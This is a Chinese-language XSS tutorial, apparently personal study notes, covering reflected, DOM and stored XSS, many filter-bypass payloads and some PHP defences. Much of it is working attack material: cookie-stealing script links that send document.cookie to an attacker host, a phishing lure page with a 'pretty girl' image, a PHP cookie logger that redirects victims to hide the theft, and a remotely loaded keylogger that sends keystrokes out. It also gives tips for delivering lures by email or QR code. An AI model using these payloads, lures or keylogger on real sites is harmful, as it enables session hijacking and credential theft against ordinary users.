XSS

980 阅读8分钟

XSS

一、XSS概述

概述

XSS,跨站脚本攻击(Cross Site Scripting,以下简称XSS)。 本应缩写为CSS,但由与CSS(Cascading Style Sheets,层叠样式脚本)重名,所以更名为XSS。 XSS(跨站脚本攻击)是指攻击者在网页中嵌入客户端脚本(如JavaScript),当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的。比如获取用户的Cookie,导航到恶意网站,携带木马等。

可以理解为靶机网站的注入攻击,将恶意脚本注入到网页,别的用户访问时,浏览器就会对网页进行解析执行,达到攻击网站的其它访问者。

用户 输入 内容 可 嵌入到 页面代码里

每当 页面加载 代码被执行

可获取用户cookie

XSS攻击流程

1. 攻击者将恶意代码注入到 目标服务器 如论坛、留言板、邮件等
2. 用户A访问这个网页
3. 用户A的浏览器对网页注入的恶意脚本进行解析
4. 用户A遭到攻击

XSS漏洞危害

  1. 窃取管理员帐号或Cookie。入侵者可以冒充管理员的身份登录后台,使得入侵者具有恶意操纵后台数据的能力,包括读取、更改、添加、删除一些信息。
  2. 窃取用户的个人信息或者 登录帐号,对网站的用户安全产生巨大的威胁。例如冒充用户身份进行各种操作。
  3. 网站挂马。先将恶意攻击代码嵌入到Web应用程序之中。当用户浏览该挂马页面时,用户的计算机会被植入木马。
  4. 发送广告或者垃圾信息。攻击者可以利用XSS漏洞植入广告,或者发送垃圾信息,严重影响到用户的正常使用
窃取 cookie
网站 挂马
发送广告 和 垃圾信息

XSS攻击面

XSS注入网站的位置需要满足以下特征

  • 该位置过滤不严格:即可以解析执行XSS代码
  • 该位置可以被其它用户访问到

可以主要关注网站收集用户信息输入信息的地方,并且可以展示给其它用户。

比如:用户的信息页面,聊天,评论区等地方。

二、XSS分类

反射型XSS(Reflected XSS)-非持久型

攻击者通过插入恶意代码到网页的URL请求中,当用户访问这个含有恶意代码的URL时,服务器接收到请求并处理,然后将带有恶意代码的数据返回给浏览器。浏览器解析这段数据并执行,整个过程类似于一次反射,因此得名反射型XSS。

img

payload构建流程
1. 将地址发给 已经登录的人 让他点一下
	http://目标网站?seach_name=<script>location=`http://攻击者网页?cookie=${document.cookie}`</script>
	嵌入js脚本向 攻击者网页发送 cookie
2. 目标用户点击 内部发生反射型XSS location 跳转 攻击者服务器
3. 攻击者获得了他的cookie
4. 利用概念cookie登录  攻击者获得了目标的权限
把 js代码嵌入 进去 但是不存储数据库 每次使用都需要嵌入代码  一次性
隐藏XSS
1. 构建网站 
2. 吸引目标用户 投其所好 a + img 
3. 目标用户受到福报(攻击)
4. 拿到数据
5. 不能在微信或者三方软件 只能在浏览器打开
6. 建议XSS使用邮件
   绝美小姐姐,人傻可约,全国可飞
   http://www.wowo.com/woniu/wowo.html
7. 变成二维码
注意
1. a href 
2. a href javascript 执行js代码
3. a href 跳转目标网站  + 反射xssjs代码location跳转到攻击网站 完成两次跳转

image-20240529142131424

微信 qq 等 跳转 容易被 拦截
使用邮件
反射型钓鱼
小姐姐诱导 wowo.html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <style>
        a {
            text-decoration: none;
        }
    </style>
</head>
<body>
    <a href="http://目标网站?seach_name=<script>location=`http://攻击者的页面?cookie=${document.cookie}`</script>">
        <img width="100" src="./img/gf.jpg">
        <p>小哥哥我好看吗</p>
    </a>
</body>
</html>


存Cookie getcookie.php
$cookie = @$_GET['cookie'];
echo "攻击主机收到了靶机的请求" . $cookie;
file_put_contents("./target/dlrb.txt",$cookie ."\r\n",FILE_APPEND);   写入文件
header("Location:http://目标网页")                                      跳转回去 防止用户发现
<a href="目标网站?注入点=<script>location=`接收cookie网站?cookie=${document.cookie}`</script>">
        <img width="100" src="./img/gf.jpg">
        <p>小哥哥我好看吗</p>
 </a>
 目标网站存在xss漏洞
 跳转 目标网站 嵌入js代码 向 发送给
 <a href=""></a>

DOM型XSS(DOM-based XSS)-非持久型

当参数数据能够导入到网页的DOM(文档对象模型)元素中时,可能会发生DOM型XSS。攻击者通过插入恶意代码到网页的JavaScript代码中,当用户访问网页时,这些恶意代码可能会被加载并执行。

js代码执行条件
<script></script>
href=javascript:alert(1)
" onclick="alert(1)
<image src=1 onerror="alert(1)">
DOM (document object Model)文档对象 理解为 整个 文档

存储型XSS(Stored XSS)-持久型

当应用允许将输入数据作为参数存储在数据库中以备后用时,可能会发生存储型XSS。攻击者插入的恶意代码被存储在数据库中,用户每次访问相应的页面,客户端均会执行一次XSS攻击语句。属于危害较严重的漏洞。

img

1. 通杀所有人 广撒网 只要访问就中招 容易被发现
2. 引诱特殊用户点击 放美女图片 或者网址 点击领钱
$src_url = $SERVER["HTTP_REFERER"] 
header("Location:$src_url/资源路径")    HTTP_REFERE http://www.xxx.com/        没有资源的路径 

XSS漏洞总结

反射型XSS:主要体现在URL里,但是一次性的

存储型XSS:主要关注网站一些类似留言框,评论的地方

DOM型XSS:与其说是XSS更像是逻辑漏洞,主要需要对前端代码进行审计,需要懂JS代码

三、XSS绕过

大小写绕过

绕过场景:针对关键字替换:

$content = str_replace("script", "js_waf", $content);

注意在html里不区分大小写,所以标签如果别过滤 可以采用大小写绕过的方式

<script>alert("xss");</script>
<ScRipt>ALeRt("XSS");</sCRipT>

双写绕过(堆叠绕过)

绕过场景:针对将关键字替换为空。代码如下:

$content = str_replace("script", "", $content);

可以采用Scrscriptipt避开过滤机制是把中间的script过滤了

<Scrscriptipt>alealertrt(1)</scRiscriptpt>

空格绕过

绕过场景:将空格替换为空。一般用于dom型

$content = str_replace(" ", "", $content);
%0a、%0d、%09/**/、tab键等都可以进行绕过
%0d  空白键 编码绕过
%a0  空白键
/**/ 注释代替空格
tab  键代替空格
"%0donclick%3D"alert('xss')
"/**/onclick%3D"alert('xss')
//onclick%3D"alert('xss')

伪协议绕过关键字替换

绕过场景:将on屏蔽,在a标签的href属性中可以使用伪协议来完成JavaScript操作,一般用于dom型。使用href="javascript:"伪协议

$content = str_replace("on", "js_waf", $content);
1"> <a+href="javascript:alert(/xss/)">aaaa</a> <input+type="text
<input type="text" name="seach_name" value="1"> 
<a href="javascript:alert(/xss/)">aaaa</a> 
<input type="text" placeholder="请输出查找的内容">

用实体转码绕过关键字替换-leve8

绕过场景:在a标签的href属性中可以使用实体转码,通常用在存储型xss和反射。

!!!!!!!!!!!还有一前提,程序员必须在代码使用urldecode进行二次解码才能完成最终的xss注入。

php会默认一次帮助我们解析URL编码,程序员不知道这个事又解析了一遍。

将输入的script脚本转为实体编码十进制或者十六进制数据绕过关键字替换

前提:
$param = htmlspecialchars($param, ENT_QUOTES); 将 < > 变为实体编码   实体转码
$param = urldecode($param);                    urldecode二次解码
&lt;script&gt; => 显示为 <script>

实体编码码值 
javascript:alert('xss')
实体编码:
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;
有时候 需要 转url
Python实体编码绕过
def entity_code(str):
   target=""
   for i in str:
        target +=f"&#{ord(i)};"
   return target
if __name__ == '__main__':
    print(entity_code("Hello,配置啦"))

编码绕过

绕过场景:一般使用在a标签的href属性。当程序过滤了 <、>、’、”、script等关键字的时候,就需要使用编码绕过。一般使用在反射型和存储型中

$param = str_replace("java","js_waf",$param);
$param = str_replace("script","js_waf",$param);
$param = str_replace("on","js_waf",$param);
base64绕过
javascript:alert(/xss/) => amF2YXNjcmlwdDphbGVydCgveHNzLyk=
<a href="data:text/html;charset=utf-8;base64,amF2YXNjcmlwdDphbGVydCgveHNzLyk=">aaa</a>
或者
<scRipt>eval(atob('amF2YXNjcmlwdDphbGVydCgveHNzLyk='))</scRipt>
js eval 任意代码执行
atob 将base64编码解码          

思路:
    手动编码 发送给 服务器
    js 解码 响应界面 
    一编
    一解
    不影响使用

其他可以请求网路的属性

绕过场景:waf替换了location,导致不能使用location进行页面跳转,降低XSS危害

$param = str_replace("location","js_waf",$param);
1. imgsrc 可以发起网络请求
2. script 的 src 可以发起网络请求
3. link 标签的 href 可以发起网络请求
!!!!!!  远程js 写在攻击者服务器 攻击者可以随时调控 被攻击者那边实时被攻击

<script src="http://www.wowo.com/woniu/js/getcookie.js"></script>
img标签
<scRipt>new Image().src=`http://www.wowo.com/woniu/getcookie1.php?cookie=${document.cookie}`</scRIpt>
键盘记录木马
攻击者服务器 www.wowo.com/woniu/js/abc.js
let bb = document.querySelector("body");
let keys = ""
bb.onkeyup = function(event){
    console.log(event.key);
    keys += event.key
    setTimeout(() => {
        location = "http://www.wowo.com/woniu/getkey.php?key=" + keys
    }, 5000);
}

攻击者服务器 www.wowo.com/woniu/getkey.php
$key = @$_GET['key'];
file_put_contents("./target/key.txt",$key ."\r\n",FILE_APPEND);
header("Location:http://www.dlrb.com/news/news_detail.php?id=211014")

靶机注入
111<script src="http://www.wowo.com/woniu/js/abc.js"></script>

xss文件绕过

对于一些上传文件来说,会读取文件的内置信息,这些信息也会引发XSS攻击

image-20241014151837083

图片结合报错事件绕过

绕过场景:waf过滤了常用事件,我们需要使用图片结合onerror就可以绕过

$param = str_replace("onclick","js_waf",$param);
$param = str_replace("onkeyup","js_waf",$param);
<img src=xxx onerror="alert(/xss/)">

payload:
?src="level1.php?name=<img src=1 onerror=alert(123)>" 
# 利用图片报错 触发xss 没有level1.php这个图片 页面就会报错 从而触发 onerror

绕过小技巧

0. 基础
<sCr<scrscRiptipt>ipt>OonN\&apos;\"<>
'> value='' onmouseover='alert(/xss)'>
遇见alert直接清除
"><img src=x onerror=aalertlert(1)>
遇见alert直接退出
"><img src=x onerror=prompt(1)>
一些危险字符被删掉:script、alert、on、img
"><imimgg src=x oonnerror=alalertert(1)>
# ' onclick="alert(111)">

1.普通的
<script>alert(document.cookie)</script>
<script>alert(1)</script>
<ScRipt>alert(1)</ScRipt>
1"><ScRipt>alert(1)</ScRipt>

2.绕过htmlspecialchars方法,先闭合输入,再使用事件来绕过
onclick='alert(1)'
' onclick ='javascript:alert(1)'//    ##点击鼠标触发
" onclick ='javascript:alert(1)'//
onmouseover='alert(1)'   ##移动鼠标触发

3.<> script onclick被过滤,用a标签绕过
"></input><a href='javascript:alert(1)'>img</a>//

4.堆叠绕过
1"><ScscriptRipt>alert(1)</ScscriptRipt>

5.Unicode编码绕过
javascript:alert(1)

6.使用type=text来显示被隐藏的标签,再用事件
&t_sort=" type='text' onclick='javascript:alert(1)'>//

7.Referer UserAgent Cookie等地方也可以进行xss测试
referer:" type='text' onclick='javascript:alert(1)'>//

8.图片
<img src=xxxx οnerrοr=alert(1)>'

9.用这些字符来测试哪些被过滤了
“ ‘ <> script onerror  onclick

10.空格用回车编码代替
<a%0D%0Aοnclick='alert(1)'>

11.ASCII编码绕过   实体编码
keyword=&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;
      j ->               &#x6A
      j ->16进制实体编码   &#x006a;
12.利用参数传递数据
" onclick='alert(1)' type="text
Referer:" onclick='alert(1)' type="text
USER_AGENT:" onclick='alert(1)' type="text
cookies:user=" onclick='alert(1)' type="text

四、XSS防御

实体标签防御

htmlspecialchars实体编码转换函数

$title = htmlspecialchars($title, ENT_QUOTES);

替换防御

少用str_replace多用 str_ireplace 字符串替换函数,尽量替换为有字符的字符串,不要替换为空串

str_ireplace 忽略大小写

$param = str_ireplace("script","js_waf",$param);
$param = str_ireplace("onkeyup","js_waf",$param);
$param = str_ireplace("location","js_waf",$param);

正则防御

preg_replace正则替换、preg_match正则匹配,正则不会不要乱用,整不好会倒开车

$str = "Hello WoRld!";     //原字符串 
$pattern = "/World/i";     // 要被替换的模式    把world替换
$replacement = "John Doe"; // 替换后的内容
// 使用preg_replace函数进行替换
$result = preg_replace($pattern, $replacement, $str);    正则表达式         替换后的内容     原字符串
echo $result; // 输出结果为"Hello John Doe!"

js waf 书写

function js_waf($param){
    $param = str_ireplace("script","js_waf",$param);
    $param = str_ireplace("on","js_waf",$param);
    $param = htmlspecialchars($param);
    $param = str_ireplace("onclick","js_waf",$param);
    $param = str_ireplace("onkeyup","js_waf",$param);
    $param = str_ireplace("location","js_waf",$param);
    $param = str_ireplace("<","js_waf",$param);
    $param = str_ireplace(">","js_waf",$param);
    $param = str_ireplace("src","js_waf",$param);
    return $param;
}
// waf的先后顺序很重要,顺序不对也出事

五、相关函数

<script>alert(1)</script>                //弹窗
<script>location=""</script>            //跳转

header("Location:www.")                //php跳转

万能字符串
"<><script></Script>onhrefjavascript' //看那些关键字被替换

<img src="">                         //可以发送网络请求 不跨域
<script src">                        //
<link src="">